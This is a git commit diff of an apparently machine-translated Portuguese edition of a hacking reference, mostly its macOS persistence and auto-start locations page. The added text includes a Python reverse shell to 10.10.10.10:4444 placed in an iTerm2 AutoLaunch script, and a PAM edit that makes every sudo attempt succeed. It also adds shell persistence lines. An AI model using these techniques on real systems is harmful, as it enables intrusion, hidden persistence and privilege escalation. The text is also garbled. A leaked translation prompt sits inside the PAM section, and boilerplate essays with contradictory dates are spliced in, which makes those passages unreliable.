Translated ['forensics/basic-forensic-methodology/specific-software-file

This commit is contained in:
Translator 2023-11-02 18:01:38 +00:00
parent 7e4c0f9c15
commit 5b993cea79
39 changed files with 291 additions and 186 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 32 KiB

View file

@ -12,7 +12,7 @@
</details>
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -211,7 +211,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

View file

@ -90,10 +90,14 @@ Liste todos os agentes e daemons carregados pelo usuário atual:
```bash
launchctl list
```
{% hint style="warning" %}
Se um plist pertence a um usuário, mesmo que esteja em pastas de sistema de daemon, a **tarefa será executada como o usuário** e não como root. Isso pode prevenir alguns ataques de escalonamento de privilégios.
{% endhint %}
### Arquivos de inicialização do shell
Descrição: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
Descrição (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
* Útil para contornar o sandbox: [](https://emojipedia.org/check-mark-button)
@ -115,7 +119,7 @@ Descrição (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https:/
* `/etc/profile` (não funcionou)
* `~/.profile` (não funcionou)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **Gatilho**: Esperado para ser acionado com xterm, mas **não está instalado** e mesmo após a instalação, esse erro é exibido: xterm: `DISPLAY is not set`
* **Gatilho**: Esperado para ser acionado com xterm, mas **não está instalado** e mesmo depois de instalado esse erro é exibido: xterm: `DISPLAY is not set`
#### Descrição e Exploração
@ -132,7 +136,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
Configurar a exploração indicada e fazer logout e login ou até mesmo reiniciar não funcionou para mim para executar o aplicativo. (O aplicativo não estava sendo executado, talvez precise estar em execução quando essas ações forem realizadas)
{% endhint %}
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
**Descrição**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
* Útil para contornar o sandbox: [](https://emojipedia.org/check-mark-button)
@ -145,7 +149,7 @@ Configurar a exploração indicada e fazer logout e login ou até mesmo reinicia
Todas as aplicações a serem reabertas estão dentro do plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
Portanto, para fazer com que as aplicações reabertas executem a sua própria, você só precisa **adicionar o seu aplicativo à lista**.
Portanto, para fazer com que as aplicações reabertas executem o seu próprio aplicativo, você só precisa **adicionar o seu aplicativo à lista**.
O UUID pode ser encontrado listando esse diretório ou com `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
@ -411,6 +415,59 @@ EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
# Localizações de Inicialização Automática no macOS
O macOS possui várias localizações onde os aplicativos podem ser configurados para iniciar automaticamente quando o sistema é inicializado. Essas localizações são usadas por aplicativos legítimos para fornecer funcionalidades adicionais ou para facilitar o acesso rápido aos aplicativos.
No entanto, essas localizações também podem ser exploradas por atacantes para iniciar aplicativos maliciosos ou persistir em um sistema comprometido. Portanto, é importante estar ciente dessas localizações e monitorá-las regularmente para garantir que apenas aplicativos confiáveis estejam sendo executados automaticamente.
Aqui estão algumas das principais localizações de inicialização automática no macOS:
## 1. LaunchAgents
Os LaunchAgents são arquivos de propriedade do usuário que são executados quando um usuário faz login. Eles são armazenados no diretório `~/Library/LaunchAgents` e são específicos para cada usuário. Os LaunchAgents podem ser usados para iniciar aplicativos ou scripts personalizados quando um usuário faz login.
## 2. LaunchDaemons
Os LaunchDaemons são arquivos de propriedade do sistema que são executados quando o sistema é inicializado. Eles são armazenados no diretório `/Library/LaunchDaemons` e são compartilhados por todos os usuários do sistema. Os LaunchDaemons são usados principalmente para iniciar serviços de sistema ou aplicativos que não requerem interação do usuário.
## 3. Login Items
Os Login Items são aplicativos ou scripts que são configurados para iniciar automaticamente quando um usuário faz login. Eles são gerenciados nas preferências do sistema, na seção "Usuários e Grupos". Os Login Items são específicos para cada usuário e podem ser usados para iniciar aplicativos ou scripts personalizados.
## 4. Startup Items
Os Startup Items são aplicativos ou scripts que são configurados para iniciar automaticamente quando o sistema é inicializado. Eles são armazenados no diretório `/Library/StartupItems` e são compartilhados por todos os usuários do sistema. No entanto, o suporte para Startup Items foi descontinuado a partir do macOS 10.4 e não é mais recomendado.
## 5. Cron Jobs
Os Cron Jobs são tarefas agendadas que são executadas em intervalos regulares. Eles são configurados usando o utilitário `cron` e são específicos para cada usuário. Os Cron Jobs podem ser usados para iniciar aplicativos ou scripts em horários específicos.
## 6. LaunchAgents Globais
Os LaunchAgents Globais são arquivos de propriedade do sistema que são executados quando um usuário faz login. Eles são armazenados no diretório `/Library/LaunchAgents` e são compartilhados por todos os usuários do sistema. Os LaunchAgents Globais podem ser usados para iniciar aplicativos ou scripts personalizados quando um usuário faz login.
## 7. LaunchDaemons Globais
Os LaunchDaemons Globais são arquivos de propriedade do sistema que são executados quando o sistema é inicializado. Eles são armazenados no diretório `/Library/LaunchDaemons` e são compartilhados por todos os usuários do sistema. Os LaunchDaemons Globais são usados principalmente para iniciar serviços de sistema ou aplicativos que não requerem interação do usuário.
É importante revisar regularmente essas localizações de inicialização automática no macOS para garantir que apenas aplicativos confiáveis estejam sendo executados automaticamente. Isso pode ser feito verificando os arquivos nessas localizações e removendo qualquer coisa suspeita ou desconhecida. Além disso, é recomendado manter o sistema operacional e os aplicativos sempre atualizados para evitar possíveis vulnerabilidades que possam ser exploradas por atacantes.
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
```
O script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** também será executado:
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
@ -475,7 +532,7 @@ Artigo: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.g
#### Descrição
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) é uma ferramenta de automação que permite a **scripting do macOS através da linguagem de script LUA**. Podemos até incorporar código AppleScript completo, bem como executar scripts de shell.
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) é uma ferramenta de automação que permite a **scripting do macOS através da linguagem de script LUA**. Podemos até incorporar código completo do AppleScript, bem como executar scripts de shell.
O aplicativo procura por um único arquivo, `~/.hammerspoon/init.lua`, e quando iniciado, o script será executado.
```bash
@ -625,11 +682,11 @@ total 32
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
O nome do arquivo contém a fila, o número do trabalho e o horário programado para ser executado. Por exemplo, vamos dar uma olhada em `a0001a019bdcd2`.
O nome do arquivo contém a fila, o número do trabalho e o horário em que está programado para ser executado. Por exemplo, vamos dar uma olhada em `a0001a019bdcd2`.
* `a` - esta é a fila
* `0001a` - número do trabalho em hexadecimal, `0x1a = 26`
* `019bdcd2` - tempo em hexadecimal. Representa os minutos decorridos desde o epoch. `0x019bdcd2` é `26991826` em decimal. Se multiplicarmos por 60, obtemos `1619509560`, que é `GMT: 27 de abril de 2021, terça-feira, 7:46:00`.
* `019bdcd2` - horário em hexadecimal. Representa os minutos decorridos desde o epoch. `0x019bdcd2` é `26991826` em decimal. Se multiplicarmos por 60, obtemos `1619509560`, que é `GMT: 27 de abril de 2021, terça-feira, 7:46:00`.
Se imprimirmos o arquivo do trabalho, descobrimos que ele contém as mesmas informações que obtivemos usando `at -c`.
@ -651,7 +708,7 @@ Artigo: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-892
#### Descrição e Exploração
Um script de Ação de Pasta é executado quando itens são adicionados ou removidos da pasta à qual ele está anexado, ou quando sua janela é aberta, fechada, movida ou redimensionada:
Um script de Ação de Pasta é executado quando itens são adicionados ou removidos da pasta à qual está anexado, ou quando sua janela é aberta, fechada, movida ou redimensionada:
* Abrir a pasta via interface do Finder
* Adicionar um arquivo à pasta (pode ser feito arrastando e soltando ou até mesmo em um prompt de terminal)
@ -860,7 +917,7 @@ Descrição: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilb
Então, quando o seletor de cores for acionado, seu código também será.
Observe que o binário que carrega sua biblioteca tem um **sandbox muito restritivo**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
Observe que o binário que carrega sua biblioteca possui um **sandbox muito restritivo**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
{% code overflow="wrap" %}
```bash
@ -888,7 +945,7 @@ Observe que o binário que carrega sua biblioteca tem um **sandbox muito restrit
Um exemplo de aplicativo com uma Extensão do Finder Sync [**pode ser encontrado aqui**](https://github.com/D00MFist/InSync).
Os aplicativos podem ter `Extensões do Finder Sync`. Essa extensão será inserida em um aplicativo que será executado. Além disso, para que a extensão possa executar seu código, **ela deve ser assinada** com um certificado válido de desenvolvedor da Apple, deve estar **em sandbox** (embora exceções relaxadas possam ser adicionadas) e deve ser registrada com algo como:
Os aplicativos podem ter `Extensões do Finder Sync`. Essa extensão será inserida em um aplicativo que será executado. Além disso, para que a extensão possa executar seu código, **ela deve ser assinada** com um certificado válido de desenvolvedor da Apple, deve estar **sandboxed** (embora exceções relaxadas possam ser adicionadas) e deve ser registrada com algo como:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
@ -912,7 +969,7 @@ Descrição: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https
* `~/Library/Screen Savers`
* **Gatilho**: Selecionar o protetor de tela
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
#### Descrição e Exploração
@ -1076,12 +1133,12 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
```
{% hint style="danger" %}
Se você verificar o Plist de outros `mdimporter`, pode ser que não encontre a entrada **`UTTypeConformsTo`**. Isso ocorre porque é um _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) embutido e não precisa especificar extensões.
Se você verificar o Plist de outros `mdimporter`, pode ser que não encontre a entrada **`UTTypeConformsTo`**. Isso ocorre porque é um _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type_Identifier)) embutido e não precisa especificar extensões.
Além disso, os plugins padrão do sistema sempre têm precedência, portanto, um invasor só pode acessar arquivos que não são indexados pelos próprios `mdimporters` da Apple.
{% endhint %}
Para criar seu próprio importador, você pode começar com este projeto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e, em seguida, alterar o nome, os **`CFBundleDocumentTypes`** e adicionar **`UTImportedTypeDeclarations`** para que ele suporte a extensão que você deseja e reflita isso em **`schema.xml`**.\
Para criar seu próprio importador, você pode começar com este projeto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e, em seguida, alterar o nome, os **`CFBundleDocumentTypes`** e adicionar **`UTImportedTypeDeclarations`** para que ele suporte a extensão que você deseja e reflita-os em **`schema.xml`**.\
Em seguida, **altere** o código da função **`GetMetadataForFile`** para executar sua carga útil quando um arquivo com a extensão processada for criado.
Finalmente, **construa e copie seu novo `.mdimporter`** para um dos locais anteriores e você pode verificar sempre que ele for carregado **monitorando os logs** ou verificando **`mdimport -L.`**
@ -1175,6 +1232,10 @@ monthly_local="/etc/monthly.local" # Local scripts
```
Se você conseguir escrever qualquer um dos arquivos `/etc/daily.local`, `/etc/weekly.local` ou `/etc/monthly.local`, ele será **executado mais cedo ou mais tarde**.
{% hint style="warning" %}
Observe que o script periódico será **executado como o proprietário do script**. Portanto, se um usuário regular for o proprietário do script, ele será executado como esse usuário (isso pode impedir ataques de escalonamento de privilégios).
{% endhint %}
### PAM
Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
@ -1189,12 +1250,37 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
#### Descrição e Exploração
Como o PAM é mais focado em **persistência** e malware do que em execução fácil dentro do macOS, este blog não dará uma explicação detalhada, **leia os writeups para entender melhor essa técnica**.
Como o PAM é mais focado em **persistência** e malware do que em execução fácil dentro do macOS, este blog não fornecerá uma explicação detalhada, **leia os writeups para entender melhor essa técnica**.
Verifique os módulos do PAM com:&#x20;
```bash
ls -l /etc/pam.d
```
Uma técnica de persistência/escalada de privilégios que abusa do PAM é tão simples quanto modificar o módulo /etc/pam.d/sudo adicionando no início a linha:
```bash
auth sufficient pam_permit.so
```
O seguinte é o conteúdo de um livro sobre técnicas de hacking. O conteúdo a seguir é do arquivo macos-hardening/macos-auto-start-locations.md. Traduza o texto relevante para o português e retorne a tradução mantendo exatamente a mesma sintaxe markdown e html. Não traduza coisas como código, nomes de técnicas de hacking, palavras de hacking, nomes de plataformas de nuvem/SaaS (como Workspace, aws, gcp...), a palavra 'leak', pentesting e tags markdown. Além disso, não adicione nada além da tradução e da sintaxe markdown.
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
E, portanto, qualquer tentativa de usar **`sudo` funcionará**.
{% hint style="danger" %}
Observe que este diretório é protegido pelo TCC, portanto, é altamente provável que o usuário receba uma solicitação de acesso.
{% endhint %}
### Plugins de Autorização
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
Artigo: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
Artigo: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
* Útil para contornar o sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você precisa ser root e fazer configurações extras
@ -1207,11 +1293,11 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
#### Descrição e Exploração
Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para obter mais informações sobre como criar um desses plugins, verifique os writeups anteriores (e tenha cuidado, um plugin mal escrito pode bloquear você e você precisará limpar seu Mac no modo de recuperação).
Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para obter mais informações sobre como criar um desses plugins, consulte os artigos anteriores (e tenha cuidado, um plugin mal escrito pode bloquear você e será necessário limpar seu Mac no modo de recuperação).
### Man.conf
Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
Artigo: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
* Útil para contornar o sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você precisa ser root e o usuário deve usar o comando man
@ -1332,57 +1418,53 @@ Após colocar um novo diretório em uma dessas duas localizações, **mais dois
# Localizações de Inicialização Automática do macOS
O macOS possui várias localizações onde os aplicativos podem ser configurados para iniciar automaticamente quando o sistema é inicializado. Essas localizações são usadas por aplicativos legítimos para fornecer funcionalidades adicionais ou para facilitar o acesso rápido aos aplicativos.
O macOS possui várias localizações onde os aplicativos podem ser configurados para iniciar automaticamente quando o sistema é inicializado. Essas localizações são usadas por aplicativos legítimos para fornecer funcionalidades adicionais ou para iniciar serviços em segundo plano.
No entanto, essas mesmas localizações também podem ser exploradas por atacantes para iniciar aplicativos maliciosos ou persistir em um sistema comprometido. Portanto, é importante estar ciente dessas localizações e monitorá-las regularmente para garantir que apenas aplicativos confiáveis estejam sendo iniciados automaticamente.
No entanto, essas localizações também podem ser exploradas por atacantes para iniciar aplicativos maliciosos ou scripts de inicialização que podem comprometer a segurança do sistema.
Aqui estão algumas das principais localizações de inicialização automática do macOS:
## 1. LaunchAgents
Os LaunchAgents são arquivos de propriedade do usuário que são executados quando um usuário faz login. Eles são armazenados no diretório `~/Library/LaunchAgents` e são específicos para cada usuário. Os LaunchAgents são usados principalmente para iniciar aplicativos ou scripts relacionados a um usuário específico.
Os LaunchAgents são arquivos de propriedade do usuário que são executados quando o usuário faz login. Eles são armazenados no diretório `~/Library/LaunchAgents` e têm a extensão `.plist`. Esses arquivos podem ser usados para iniciar aplicativos ou scripts de inicialização quando o usuário faz login.
## 2. LaunchDaemons
Os LaunchDaemons são arquivos de propriedade do sistema que são executados quando o sistema é inicializado. Eles são armazenados no diretório `/Library/LaunchDaemons` e são compartilhados por todos os usuários do sistema. Os LaunchDaemons são usados principalmente para iniciar serviços ou processos que não estão relacionados a um usuário específico.
Os LaunchDaemons são arquivos de propriedade do sistema que são executados quando o sistema é inicializado. Eles são armazenados no diretório `/Library/LaunchDaemons` e têm a extensão `.plist`. Esses arquivos são usados para iniciar serviços em segundo plano ou aplicativos que não requerem interação do usuário.
## 3. StartupItems
Os StartupItems são uma forma mais antiga de inicialização automática e são compatíveis com versões mais antigas do macOS. Eles são armazenados no diretório `/Library/StartupItems` e são executados quando o sistema é inicializado. No entanto, a partir do macOS 10.5, o suporte a StartupItems foi descontinuado e substituído pelos LaunchDaemons e LaunchAgents.
Os StartupItems são um método mais antigo de inicialização automática e são usados principalmente em versões mais antigas do macOS. Eles são armazenados no diretório `/Library/StartupItems` e podem conter scripts de inicialização ou aplicativos que são executados durante a inicialização do sistema.
## 4. Login Items
Os Login Items são aplicativos ou itens de inicialização que são executados quando um usuário faz login. Eles são configurados nas preferências do sistema e são específicos para cada usuário. Os Login Items são usados principalmente para iniciar aplicativos ou scripts relacionados a um usuário específico.
Os Login Items são aplicativos ou scripts que são configurados para iniciar automaticamente quando um usuário faz login. Eles são gerenciados nas preferências do sistema, na seção "Usuários e Grupos". Os Login Items são específicos para cada usuário e podem ser usados para iniciar aplicativos ou scripts personalizados quando o usuário faz login.
## 5. Cron Jobs
Os Cron Jobs são tarefas agendadas que são executadas em intervalos regulares. Eles são configurados usando o utilitário `cron` e são específicos para cada usuário. Os Cron Jobs podem ser usados para iniciar aplicativos ou scripts em momentos específicos.
Os Cron Jobs são tarefas agendadas que são executadas em intervalos regulares. Eles podem ser usados para iniciar aplicativos ou scripts de inicialização em horários específicos. Os Cron Jobs são configurados usando o utilitário `cron` e os arquivos de configuração estão localizados no diretório `/usr/lib/cron/tabs`.
## 6. LaunchAgents Globais
Os LaunchAgents Globais são arquivos de propriedade do sistema que são executados quando um usuário faz login. Eles são armazenados no diretório `/Library/LaunchAgents` e são compartilhados por todos os usuários do sistema. Os LaunchAgents Globais são usados principalmente para iniciar aplicativos ou scripts relacionados a todos os usuários do sistema.
Os LaunchAgents Globais são arquivos de propriedade do sistema que são executados quando qualquer usuário faz login. Eles são armazenados no diretório `/Library/LaunchAgents` e têm a extensão `.plist`. Esses arquivos são usados para iniciar aplicativos ou scripts de inicialização que devem ser executados para todos os usuários.
## 7. LaunchDaemons Globais
Os LaunchDaemons Globais são arquivos de propriedade do sistema que são executados quando o sistema é inicializado. Eles são armazenados no diretório `/Library/LaunchDaemons` e são compartilhados por todos os usuários do sistema. Os LaunchDaemons Globais são usados principalmente para iniciar serviços ou processos que não estão relacionados a um usuário específico.
Os LaunchDaemons Globais são arquivos de propriedade do sistema que são executados quando o sistema é inicializado. Eles são armazenados no diretório `/Library/LaunchDaemons` e têm a extensão `.plist`. Esses arquivos são usados para iniciar serviços em segundo plano ou aplicativos que não requerem interação do usuário e devem ser executados para todos os usuários.
## 8. XPC Services
As XPC Services são serviços que podem ser iniciados por outros aplicativos. Elas são armazenadas no diretório `~/Library/Services` e são específicas para cada usuário. As XPC Services são usadas principalmente para fornecer funcionalidades adicionais a outros aplicativos.
As XPC Services são serviços que podem ser iniciados por outros aplicativos. Elas são armazenadas no diretório `/Library/XPCServices` e têm a extensão `.xpc`. Esses serviços podem ser usados para fornecer funcionalidades adicionais a outros aplicativos.
## 9. Login Hooks
Os Login Hooks são scripts que são executados quando um usuário faz login. Eles são armazenados no diretório `/etc` e são compartilhados por todos os usuários do sistema. Os Login Hooks são usados principalmente para executar ações personalizadas durante o processo de login.
Os Login Hooks são scripts que são executados quando um usuário faz login. Eles são armazenados no diretório `/etc` e têm o nome `loginhook` ou `logouthook`. Esses scripts podem ser usados para executar ações personalizadas durante o processo de login ou logout.
## 10. Kernel Extensions
As Kernel Extensions são módulos de código que podem ser carregados no kernel do macOS. Elas são armazenadas no diretório `/System/Library/Extensions` e são compartilhadas por todos os usuários do sistema. As Kernel Extensions são usadas principalmente para fornecer funcionalidades de baixo nível ao sistema operacional.
As Kernel Extensions são módulos de código que podem ser carregados no kernel do macOS. Elas são armazenadas no diretório `/System/Library/Extensions` e têm a extensão `.kext`. Essas extensões podem ser usadas para adicionar funcionalidades ao sistema operacional.
É importante observar que nem todas as localizações de inicialização automática são visíveis por padrão. Alguns diretórios podem estar ocultos ou protegidos por permissões de arquivo. Portanto, é necessário ter privilégios de administrador para acessar e modificar essas localizações.
Além disso, é recomendável verificar regularmente as localizações de inicialização automática em busca de aplicativos desconhecidos ou suspeitos. Isso pode ser feito usando ferramentas de segurança ou examinando manualmente os diretórios relevantes.
Ao monitorar e proteger as localizações de inicialização automática do macOS, você pode reduzir o risco de aplicativos maliciosos serem iniciados automaticamente e garantir a integridade do seu sistema.
É importante monitorar e revisar regularmente essas localizações de inicialização automática para garantir que apenas aplicativos e serviços legítimos estejam sendo executados. A remoção de arquivos ou configurações suspeitas nessas localizações pode ajudar a proteger o sistema contra possíveis ataques.
{% endtab %}
```bash
@ -1409,14 +1491,14 @@ RunService "$1"
### emond
{% hint style="danger" %}
Não consigo encontrar esse componente no meu macOS, então para mais informações, verifique o writeup
Não consigo encontrar esse componente no meu macOS, então para mais informações, verifique o artigo
{% endhint %}
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
Artigo: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
A Apple introduziu um mecanismo de registro chamado **emond**. Parece que nunca foi totalmente desenvolvido e o desenvolvimento pode ter sido **abandonado** pela Apple em favor de outros mecanismos, mas ele continua **disponível**.
A Apple introduziu um mecanismo de registro chamado **emond**. Parece que nunca foi totalmente desenvolvido e o desenvolvimento pode ter sido **abandonado** pela Apple em favor de outros mecanismos, mas ainda está **disponível**.
Esse serviço pouco conhecido pode **não ser muito útil para um administrador de Mac**, mas para um ator de ameaça, uma razão muito boa seria usá-lo como um **mecanismo de persistência que a maioria dos administradores do macOS provavelmente não saberia** procurar. Detectar o uso malicioso do emond não deve ser difícil, pois o System LaunchDaemon para o serviço procura scripts para serem executados em apenas um local:
Este serviço pouco conhecido pode **não ser muito útil para um administrador de Mac**, mas para um ator de ameaça, uma razão muito boa seria usá-lo como um **mecanismo de persistência que provavelmente a maioria dos administradores do macOS não conheceria**. Detectar o uso malicioso do emond não deve ser difícil, pois o System LaunchDaemon para o serviço procura scripts para serem executados em apenas um local:
```bash
ls -l /private/var/db/emondClients
```
@ -1494,7 +1576,7 @@ Aparentemente, não é muito comum executar esse script e nem mesmo consegui enc
**Isso não funciona nas versões modernas do MacOS**
{% endhint %}
Também é possível colocar aqui **comandos que serão executados na inicialização.** Exemplo de script rc.common regular:
Também é possível colocar aqui **comandos que serão executados na inicialização**. Exemplo de script rc.common regular:
```bash
#
# Common setup for startup scripts.
@ -1600,6 +1682,6 @@ esac
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,10 +1,10 @@
# Injeção em Aplicações .Net no macOS
# Injeção de Aplicações .Net no macOS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
